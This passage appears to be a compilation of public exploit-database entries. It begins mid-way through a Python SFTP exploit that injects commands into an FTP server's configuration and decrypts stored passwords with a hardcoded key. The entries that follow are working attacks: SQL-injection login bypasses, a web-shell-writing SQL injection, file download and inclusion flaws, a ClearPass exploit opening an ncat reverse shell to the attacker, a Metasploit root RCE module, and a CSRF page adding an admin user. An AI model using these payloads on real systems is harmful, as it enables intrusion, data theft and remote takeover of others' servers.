attributeFormDefault="qualified" elementFormDefault="qualified"> <xs:element name="ConfigDataSet" msdata:IsDataSet="true" msdata:Locale="en-US" msdata:TimestampingEnabled="False"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="PlugIn"> <xs:complexType> <xs:sequence> <xs:element name="PlugInID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="Name" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:maxLength value="100" /> </xs:restriction> </xs:simpleType> </xs:element> <xs:element name="ClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:maxLength value="400" /> </xs:restriction> </xs:simpleType> </xs:element> <xs:element name="PlugInTypeID" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="Configuration" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> <xs:element name="CreatedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="ModifiedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="UserInstance" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> <xs:element name="System" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" /> <xs:element name="EditorClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:maxLength value="100" /> </xs:restriction> </xs:simpleType> </xs:element> <xs:element name="AssemblyPath" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0"> </xs:element> <xs:element name="MinimumEdition" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> <xs:element name="ChangeSetID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="Server"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="SiteUser"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="Site"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="Node"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="TrashHeap1"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="TrashHeap2"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="ChangeSet"> <xs:complexType> </xs:complexType> </xs:element> <xs:element name="RuntimeVariable"> <xs:complexType> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> <xs:unique name="PlugIn_Constraint1" msdata:ConstraintName="Constraint1" msdata:PrimaryKey="true"> <xs:selector xpath=".//mstns:PlugIn" /> <xs:field xpath="mstns:PlugInID" /> </xs:unique> </xs:element> </xs:schema> """.replace("<", "<").replace(">", ">").replace('"', """).strip() # endregion # region xml_diffgram xml_diffgram = """ <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> <ConfigDataSet xmlns="http://tempuri.org/ConfigDataSet.xsd"> <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" diffgr:hasChanges="modified"> <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID> <Name>Process Execution</Name> <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName> <PlugInTypeID>2</PlugInTypeID> <Configuration>{CONFIGURATION}</Configuration> <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime> <ModifiedTime>2020-03-10T10:52:00.7496654+08:00</ModifiedTime> <UserInstance>false</UserInstance> <System>true</System> <ChangeSetID>{ID}</ChangeSetID> </PlugIn> <PlugInType diffgr:id="PlugInType1" msdata:rowOrder="0"> <PlugInTypeID>2</PlugInTypeID> <Name>Event</Name> <CreatedTime>2009-06-29T11:48:00+08:00</CreatedTime> <ModifiedTime>2009-06-29T11:48:00+08:00</ModifiedTime> </PlugInType> <ChangeSet diffgr:id="ChangeSet1" msdata:rowOrder="0"> <ChangeSetID></ChangeSetID> <Sequence>3</Sequence> <CreatedTime>2020-03-10T10:50:44.4209655+08:00</CreatedTime> <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime> <IsPrimary>true</IsPrimary> </ChangeSet> </ConfigDataSet> <diffgr:before> <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" xmlns="http://tempuri.org/ConfigDataSet.xsd"> <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID> <Name>Process Execution</Name> <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName> <PlugInTypeID>2</PlugInTypeID> <Configuration></Configuration> <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime> <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime> <UserInstance>false</UserInstance> <System>true</System> <ChangeSetID></ChangeSetID> </PlugIn> </diffgr:before> </diffgr:diffgram> """.strip() # endregion # region config config = """ <TriggerDataSet xmlns="http://tempuri.org/TriggerDataSet.xsd"> <ProcessConfig> <ProcessConfigID>0</ProcessConfigID> <MaxProcesses>10</MaxProcesses> <RunTimeout>0</RunTimeout> <QueueTimeout>0</QueueTimeout> <KillOnExit>true</KillOnExit> </ProcessConfig> <ProcessRule> <ProcessRuleID>1</ProcessRuleID> <ProcessConfigID>0</ProcessConfigID> <Name>trigger</Name> <Enabled>true</Enabled> <ProcessType>0</ProcessType> <ProcessPath>cmd.exe</ProcessPath> <Arguments>/c {CMD}</Arguments> <PathFilter>*</PathFilter> <OnError>false</OnError> <OnSuccess>true</OnSuccess> <RowOrder>1</RowOrder> </ProcessRule> <ProcessEvent> <ProcessRuleID>1</ProcessRuleID> <EventType>LogIn</EventType> </ProcessEvent> </TriggerDataSet> """.strip() # endregion def prepare_update_config(uuid, cmd): config_payload = config config_payload = config_payload.replace('{CMD}', cmd) config_payload = config_payload.replace('<', '<') config_payload = config_payload.replace('>', '>') diffgram_payload = xml_diffgram diffgram_payload = diffgram_payload.replace('{CONFIGURATION}', config_payload) diffgram_payload = diffgram_payload.replace('{ID}', uuid) diffgram_payload = diffgram_payload.replace('&', '&') diffgram_payload = diffgram_payload.replace('<', '<') diffgram_payload = diffgram_payload.replace('>', '>') diffgram_payload = diffgram_payload.replace('"', '"') payload = update_config payload = payload.replace('{XMLSCHEMA}', xml_schema) payload = payload.replace('{XMLDIFFGRAM}', diffgram_payload) return payload def send_request(sftp, payload): payload = b64encode(bytes(payload, 'utf-8')).decode('utf-8') res = sftp._request(CMD_EXTENDED, '[email protected]', 'SOAP64 ' + payload) return res def convert_changeset_id_to_uuid(changeset_id): a = struct.pack('i', int(changeset_id[0].text)) # 32 b = struct.pack('h', int(changeset_id[1].text)) # 16 c = struct.pack('h', int(changeset_id[2].text)) # 16 d = struct.pack('B', int(changeset_id[3].text)) # 8 e = struct.pack('B', int(changeset_id[4].text)) # 8 f = struct.pack('B', int(changeset_id[5].text)) # 8 g = struct.pack('B', int(changeset_id[6].text)) # 8 h = struct.pack('B', int(changeset_id[7].text)) # 8 i = struct.pack('B', int(changeset_id[8].text)) # 8 j = struct.pack('B', int(changeset_id[9].text)) # 8 k = struct.pack('B', int(changeset_id[10].text)) # 8 x = a + b + c + d + e + f + g + h + i + j + k return uuid.UUID(bytes_le=x) def get_uuid(sftp): res = send_request(sftp, get_server_info) if res[0] != 201: print('[!] Error could not request server info via SFTP') sys.exit(1) res = b64decode(res[1].get_string()).decode('utf-8') res = ET.fromstring(res) changeset_id = res.find('.//SyncChangeSetID') uuid = convert_changeset_id_to_uuid(changeset_id) return str(uuid) def login(host, port, user, password): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(host, port, user, password, look_for_keys=False, allow_agent=False) return ssh.open_sftp() def send_command(sftp, cmd): uuid = get_uuid(sftp) payload = prepare_update_config(uuid, cmd) res = send_request(sftp, payload) if res[0] != 201: print('[!] Error could not send update config request via SFTP') sys.exit(1) def decrypt_password(password): key = b64decode('HKVV76GdVuzXne/zxtWvdjA2d2Am548E') iv = b64decode('gVGow/9uLvM=') encrypted = b64decode(password) cipher = DES3.new(key=key, iv=iv, mode=DES3.MODE_CBC) decrypted = cipher.decrypt(encrypted) return unpad(decrypted, 8).decode('utf-16') if len(sys.argv) != 6: print('[!] Missing arguments') print('[ ] Usage: {} <target> <port> <username> <encrypted-password> <cmd>'.format(sys.argv[0])) print("[ ] E.g. {} 192.168.1.128 14983 admin DEomw27OY7sYZs4XjYA2kVB4LEB5skN4 'whoami > C:\\x.txt'".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] password = sys.argv[4] cmd = sys.argv[5] print('[ ] Decrypting password') password = decrypt_password(password) print('[ ] Decrypted password is "{}"'.format(password)) print('[ ] Logging in') sftp = login(target, port, username, password) print('[ ] Sending command') send_command(sftp, cmd) print('[ ] Command successfully sent, triggering...') sftp = login(target, port, username, password)
-
HelloWeb 2.0 - Arbitrary File Download
# Exploit Title: HelloWeb 2.0 - Arbitrary File Download # Date: 2020-07-09 # Vendor Homepage: https://helloweb.co.kr/ # Version: 2.0 [Latest] and previous versions # Exploit Author: bRpsd # Contact Author: cy[at]live.no # Google Dork: inurl:exec/file/download.asp # Type: WebApps / ASP ----------------------------------------------------- Vulnerable code: ###################################################################################################### Dim filepath, filename, root_path, fso, root_folder, attachfile, objStream, strFile filepath = Request.QueryString("filepath") filename = Request.QueryString("filename") filepath = Replace(filepath,"/","\") root_path = server.MapPath("/") Set fso = CreateObject("Scripting.FileSystemObject") Set root_folder = fso.GetFolder(root_path) attachfile = root_path & filepath & "\" & filename Response.Clear Response.ContentType = "application/unknown" Response.AddHeader "Pragma", "no-cache" Response.AddHeader "Expires", "0" Response.AddHeader "Content-Transfer-Encoding", "binary" Response.AddHeader "Content-Disposition","attachment; filename = " & Server.URLPathEncode(filename) Set objStream = Server.CreateObject("ADODB.Stream") objStream.Open objStream.Type = 1 objStream.LoadFromFile attachfile Response.BinaryWrite objStream.Read Response.Flush ###################################################################################################### Vulnerability: Arbitrary File Download Location: http://localhost/exec/file/download.asp Parameters: filename & filepath Proof of concept: GET /exec/file/download.asp?filepath=/&filename=web.config HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 RESPONSE: HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Content-Type: application/unknown; Charset=utf-8 Expires: 0,Thu, 09 Jul 2020 10:51:14 GMT Server: Content-Transfer-Encoding: binary Content-Disposition: attachment; filename = web.config Set-Cookie: ASPSESSIONIDQQCBDRBB=BEMDPMDDKFHNFKFMJGHIKKKI; path=/ Access-Control-Allow-Origin: * x-xss-protection: 1; mode=block Date: Thu, 09 Jul 2020 10:51:14 GMT Connection: close
-
Savsoft Quiz 5 - Persistent Cross-Site Scripting
# Exploit Title: Savsoft Quiz 5 - Persistent Cross-Site Scripting # Date: 2020-07-09 # Exploit Author: Ogulcan Unveren(th3d1gger) # Vendor Homepage: https://savsoftquiz.com/ # Software Link: https://github.com/savsofts/savsoftquiz_v5.git # Version: 5.0 # Tested on: Kali Linux ---Vulnerable Source Code---- function insert_user_2(){ $userdata=array( 'email'=>$this->input->post('email'), 'password'=>md5($this->input->post('password')), 'first_name'=>$this->input->post('first_name'), 'last_name'=>$this->input->post('last_name'), 'contact_no'=>$this->input->post('contact_no'), 'gid'=>implode(',',$this->input->post('gid')), 'su'=>'2' ); $veri_code=rand('1111','9999'); if($this->config->item('verify_email')){ $userdata['verify_code']=$veri_code; } if($this->session->userdata('logged_in_raw')){ $userraw=$this->session->userdata('logged_in_raw'); $userraw_uid=$userraw['uid']; $this->db->where('uid',$userraw_uid); $rresult=$this->db->update('savsoft_users',$userdata); if($this->session->userdata('logged_in_raw')){ $this->session->unset_userdata('logged_in_raw'); } }else{ $rresult=$this->db->insert('savsoft_users',$userdata); $uid=$this->db->insert_id(); foreach($_POST['custom'] as $ck => $cv){ if($cv != ''){ $savsoft_users_custom=array( 'field_id'=>$ck, 'uid'=>$uid, 'field_values'=>$cv ); $this->db->insert('savsoft_users_custom',$savsoft_users_custom); } } ----Vulnerable Request--- POST /index.php/login/insert_user/ HTTP/1.1 Host: savsoftquiz_v5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.2/index.php/login/registration/ Content-Type: application/x-www-form-urlencoded Content-Length: 231 Connection: close Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv Upgrade-Insecure-Requests: 1 email=hello%40gmail.com&password=password&first_name=XSSPAYLOAD&last_name=test&contact_no=05785555555&gid%5B%5D=1
-
Barangay Management System 1.0 - Authentication Bypass
# Exploit Title: Barangay Management System 1.0 - Authentication Bypass # Google Dork: N/A # Date: 2020-07-05 # Exploit Author: BKpatron # Vendor Homepage: https://www.sourcecodester.com/php/13484/barangay-management-system.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/antiokz/barangay_1.zip # Version: v1.0 # Tested on: Win 10 # CVE: N/A # my website: bkpatron.com # Vulnerability: Attacker can bypass login page and access to dashboard page # vulnerable file : index.php # Parameter & Payload: '=''or' # Proof of Concept: http://localhost/Barangay/adminlogin.php POST /Barangay/adminlogin.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 74 Referer: http://localhost/Barangay/ Cookie: PHPSESSID=jt0a3e89ukmktgtuoedjqmktge Connection: keep-alive Upgrade-Insecure-Requests: 1 admin_name=%27%3D%27%27or%27&admin_pass=%27%3D%27%27or%27&adminlogin=Login: undefined HTTP/1.1 200 OK Date: Sat, 04 Jul 2020 20:35:25 GMT Server: Apache/2.4.39 (Win64) PHP/7.2.18 X-Powered-By: PHP/7.2.18 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 3638 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
-
Park Ticketing Management System 1.0 - Authentication Bypass
# Exploit Title: Park Ticketing Management System 1.0 - Authentication Bypass # Date: 2020-07-13 # Exploit Author: gh1mau # Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/ # Vendor Homepage: https://phpgurukul.com/park-ticketing-management-system-using-php-and-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10952 # Version: V1.0 # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64) Vulnerable File: ---------------- /index.php Vulnerable Code: ----------------- line 8: $adminuser=$_POST['username']; Vulnerable Issue: ----------------- $adminuser=$_POST['username']; has no sanitization POC User Login: --------------- URL: http://localhost/ptms/index.php Username : ' or '1'='1'# Password : anything Python POC: ----------- import requests,re url = "http://localhost:80/ptms/index.php" payload = "username=%27+or+%271%27%3D%271%27%23&password=anything&login=" headers = { "Origin": "http://localhost", "Cookie": "PHPSESSID=eabmes4rt7uger0dlqsljitjd6", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", "Connection": "close", "Referer": "http://localhost/ptms/index.php", "Host": "localhost", "Accept-Encoding": "gzip, deflate", "Upgrade-Insecure-Requests": "1", "Accept-Language": "en-US,en;q=0.5", "Content-Length": "80", "Content-Type": "application/x-www-form-urlencoded" } pattern = "PTMS ADMIN" response = requests.request("POST", url, data=payload, headers=headers) if re.findall(pattern,response.text): print("[+] Authentication bypassed using the following payload : " + payload) else: print("[!] Something wrong somewhere")
-
Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution
# Exploit Title: Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution # Date: 2020-07-06 # Exploit Author: SpicyItalian # Vendor Homepage: https://www.arubanetworks.com/products/security/network-access-control/ # Version: ClearPass 6.7.x prior to 6.7.13-HF, ClearPass 6.8.x prior to 6.8.5-HF, ClearPass 6.9.x prior to 6.9.1 # Tested on: ClearPass 6.7.0 # CVE: CVE-2020-7115 Use of RHEL/CentOS 7.x is recommended to successfully generate the malicious OpenSSL engine. #!/usr/bin/env bash if [ "$#" -ne 4 ]; then echo "Usage: `basename $0` [remote host] [remote port] [local host] [local port]" exit 0 fi cat <<EOF >>payload.c #include <unistd.h> __attribute__((constructor)) static void init() { execl("/bin/sh", "sh", "-c", "rm -f /tmp/clientCertFile*.txt ; sleep 1 ; ncat $3 $4 -e /bin/sh", NULL); } EOF gcc -fPIC -c payload.c gcc -shared -o payload.so -lcrypto payload.o rm -f payload.c payload.o curl -X POST -F 'clientPassphrase=req -engine /tmp/clientCertFile*.txt' -F 'uploadClientCertFile=@./payload.so' -k https://$1:$2/tips/tipsSimulationUpload.action &>/dev/null & cat <<"EOF" /(\ ¡ !´\ | )\ `. | `.) \,-,-- ( / / `'-.,;_/ `---- EOF printf "\nPleasea waita for your spicy shell...\n\n" ncat -v -l $3 $4
-
Park Ticketing Management System 1.0 - 'viewid' SQL Injection
# Exploit Title: Park Ticketing Management System 1.0 - 'viewid' SQL Injection # Date: 2020-07-13 # Exploit Author: gh1mau # Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/ # Vendor Homepage: https://phpgurukul.com/park-ticketing-management-system-using-php-and-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10952 # Version: V1.0 # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64) import requests #this script is for POC purpose, you could add your own error checking mechanism command = "whoami" url = "http://localhost:80/ptms/view-normal-ticket.php?viewid=1%27%20UNION%20ALL%20SELECT%200x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e,NULL,NULL,NULL,NULL,NULL,NULL%20INTO%20OUTFILE%20%27C:/UwAmp/www/ptms/1.php%27--%20-" payload = "" headers = { "Cookie": "PHPSESSID=eabmes4rt7uger0dlqsljitjd6", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", "Connection": "close", "Host": "localhost", "Accept-Encoding": "gzip, deflate", "Upgrade-Insecure-Requests": "1", "Accept-Language": "en-US,en;q=0.5" } response = requests.request("GET", url, data=payload, headers=headers) print("[+] Injecting Web Shell...\n") url2 = "http://localhost:80/ptms/1.php?gh1mau=" + command payload2 = "" headers2 = { "Cookie": "PHPSESSID=eabmes4rt7uger0dlqsljitjd6", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", "Connection": "close", "Host": "localhost", "Accept-Encoding": "gzip, deflate", "Upgrade-Insecure-Requests": "1", "Accept-Language": "en-US,en;q=0.5" } response2 = requests.request("GET", url2, data=payload2, headers=headers2) print("Web Shell: " + url2) print(response2.text)
-
BSA Radar 1.6.7234.24750 - Local File Inclusion
# Exploit title: BSA Radar 1.6.7234.24750 - Local File Inclusion # Date: 2020-07-08 # Exploit Author: William Summerhill # Vendor homepage: https://www.globalradar.com/ # Version: BSA Radar - Version 1.6.7234.24750 and lower # CVE-2020-14946 - Local File Inclusion # Description: The Administrator section of the Surveillance module in Global RADAR - BSA Radar 1.6.7234.X # and lower allows users to download transaction files. When downloading the files, # a user is able to view local files on the web server by manipulating the FileName # and FilePath parameters in the URL, or while using a proxy. This vulnerability could # be used to view local sensitive files or configuration files on the backend server. Vulnerable endpoint: /UC/downloadFile.ashx The current user is required to have valid privileges to send requests to the target vulnerable endpoint. Proof of Concept: HTTP Request PoC: VALID REQUEST: GET /UC/downloadFile.ashx?ID=XXXX&FileName=SOMEFILE.TXT&UploadStyle=1&UploadStyle=1&UploadSource=6 LFI EXPLOIT REQUEST: GET /UC/downloadFile.ashx?ID=XXXX&FileName=C:\Windows\debug\NetSetup.log&UploadStyle=1&UploadSource=6 The entire LFI path can be injected into the "FileName" parameter in order to enumerate existing files on the server. Other LFI files can be tested (such as the Windows hosts file) for further verification and disclosures. Tested on: Windows CVE: CVE-2020-14946 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14946
-
Trend Micro Web Security Virtual Appliance 6.5 SP2 Patch 4 Build 1901 - Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Trend Micro Web Security (Virtual Appliance) Remote Code Execution', 'Description' => %q{ This module exploits multiple vulnerabilities together in order to achive a remote code execution. Unauthenticated users can execute a terminal command under the context of the root user. The specific flaw exists within the LogSettingHandler class of administrator interface software. When parsing the mount_device parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. But authentication is required to exploit this vulnerability. Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users can exploit this vulnerability in order to communicate with internal services in the product. Last but not least a flaw exists within the Apache Solr application, which is installed within the product. When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the IWSS user. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user. Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <[email protected]>' # discovery & msf module ], 'References' => [ ['CVE', '2020-8604'], ['CVE', '2020-8605'], ['CVE', '2020-8606'], ['ZDI', '20-676'], ['ZDI', '20-677'], ['ZDI', '20-678'] ], 'Privileged' => true, 'DefaultOptions' => { 'SSL' => true, 'payload' => 'python/meterpreter/reverse_tcp', 'WfsDelay' => 30 }, 'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => '2020-06-10', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(8443), OptInt.new('PROXY_PORT', [true, 'Port number of Trend Micro Web Filter Proxy service', 8080]) ] ) end def hijack_cookie # Updating SSL and RPORT in order to communicate with HTTP proxy service. if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end port_restore = datastore['RPORT'] datastore['RPORT'] = datastore['PROXY_PORT'] @jsessionid = '' # We are exploiting proxy service vulnerability in order to fetch content of catalina.out file print_status('Trying to extract session ID by exploiting reverse proxy service') res = send_request_cgi({ 'method' => 'GET', 'uri' => "http://#{datastore['RHOST']}:8983/solr/collection0/replication", 'vars_get' => { 'command' => 'filecontent', 'wt' => 'filestream', 'generation' => 1, 'file' => '../' * 7 << 'var/iwss/tomcat/logs/catalina.out' } }) # Restore variables and validate extracted sessionid datastore['SSL'] = true if ssl_restore datastore['RPORT'] = port_restore # Routine check on res object unless res fail_with(Failure::Unreachable, 'Target is unreachable.') end # If the res code is not 200 that means proxy service is not vulnerable. unless res.code == 200 @jsessionid = -1 return end # Now we are going to extract all JESSIONID from log file and store them in array. cookies = res.body.scan(/CheckUserLogon sessionid : (.*)/).flatten if cookies.empty? @jsessionid = 0 print_error('System is vulnerable, however a user session was not detected and is therefore unexploitable. Retry after a user logs in.') return end print_good("Extracted number of JSESSIONID: #{cookies.length}") # We gotta switch back to adminsitrator interface port instead of proxy service. Restore rport and ssl variables. datastore['SSL'] = true if ssl_restore datastore['RPORT'] = port_restore # Latest cookie in the log file is the one most probably active. So that we use reverse on array. cookies.reverse.each_with_index do |cookie, index| print_status("Testing JSESSIONID ##{index} : #{cookie}") # This endpoints is basically check session :) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('rest', 'commonlog', 'get_sessionID'), 'cookie' => "JSESSIONID=#{cookie}" }) # Routine res check unless res fail_with(Failure::UnexpectedReply, 'Target is unreachable.') end # If the cookie is active ! if res.code == 200 && res.body.include?('session_flag') print_good("Awesome!!! JESSIONID ##{index} is active.") @jsessionid = cookie break end print_warning("JSESSIONID ##{index} is inactive! Moving to the next one.") end if @jsessionid.empty? print_error('System is vulnerable, however extracted cookies are not valid! Please wait for a user or admin to login.') end end def check # # @jsessionid can be one of the following value # # -1 = Proxy service is not vulnerable, which means we'r not gonna # be able to read catalina.out # # 0 = Proxy service is vulnerable, but catalina.out does not contain any # jessionid string yet ! # # empty = Proxy service is vulnerable, but jessionid within log file but # none of them are valid:( # # string = Proxy service is vulnerable and sessionid is valid ! # hijack_cookie if @jsessionid == -1 CheckCode::Safe else CheckCode::Vulnerable end end def exploit unless check == CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable' end # # 0 => Proxy service is vulnerable, but catalina.out does not contain any # jessionid string yet ! # # empty => Proxy service is vulnerable, but jessionid within log file but # none of them are valid:( # if @jsessionid.empty? || @jessionid == 0 fail_with Failure::NoAccess, '' end print_status('Exploiting command injection vulnerability') # Yet another app specific bypass is going on here. # It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting, double escaping etc) # For that reason, I am planting our payload dropper within the perl command. cmd = "python -c \"#{payload.encoded}\"" final_payload = cmd.to_s.unpack1('H*') p = "perl -e 'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" vars_post = { mount_device: "mount $(#{p}) /var/offload", cmd: 'mount' } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'), 'cookie' => "JSESSIONID=#{@jsessionid}", 'ctype' => 'application/json', 'data' => vars_post.to_json }) end end
-
Zyxel Armor X1 WAP6806 - Directory Traversal
# Exploit Title: Zyxel Armor X1 WAP6806 - Directory Traversal # Date: 2020-06-19 # Exploit Author: Rajivarnan R # Vendor Homepage: https://www.zyxel.com/ # Software [http://www.zyxelguard.com/WAP6806.asp] # Version: [V1.00(ABAL.6)C0] # CVE: 2020-14461 # Tested on: Linux Mint / Windows 10 # Vulnerabilities Discovered Date : 2020/06/19 [YYYY/MM/DD] # As a result of the research, one vulnerability identified. # (Directory Traversal) # Technical information is provided below step by step. # [1] - Directory Traversal Vulnerability # Vulnerable Parameter Type: GET # Vulnerable Parameter: TARGET/Zyxel/images/eaZy/] # Proof of Concepts:https://TARGET/Zyxel/images/eaZy/ <https://target/Zyxel/images/eaZy/>
-
SuperMicro IPMI WebInterface 03.40 - Cross-Site Request Forgery (Add Admin)
# Exploit Title: SuperMicro IPMI WebInterface 03.40 - Cross-Site Request Forgery (Add Admin) # Exploit Author: Metin Yunus Kandemir # Date: 2020-07-15 # Vendor Homepage: https://www.supermicro.com/ # Version: X10DRH-iT motherboards with BIOS 2.0a and IPMI firmware 03.40 # CVE: CVE-2020-15046 # Source: https://www.totalpentest.com/post/supermicro-ipmi-webgui-cross-site-request-forgery # Description: # The web interface on Supermicro X10DRH-iT motherboards with BIOS 2.0a and IPMI firmware 03.40 # allows remote attackers to exploit a cgi/config_user.cgi CSRF issue to add new admin users. # The fixed versions are BIOS 3.2 and firmware 03.88. # PoC : <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://SuperMicro-IP/cgi/config_user.cgi" method="POST"> <input type="hidden" name="username" value="JOKER" /> <input type="hidden" name="original_username" value="2" /> <input type="hidden" name="password" value="onebadday" /> <input type="hidden" name="new_privilege" value="4" /> <input type="submit" value="submit request" /> </form> </body> </html>
-
Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection
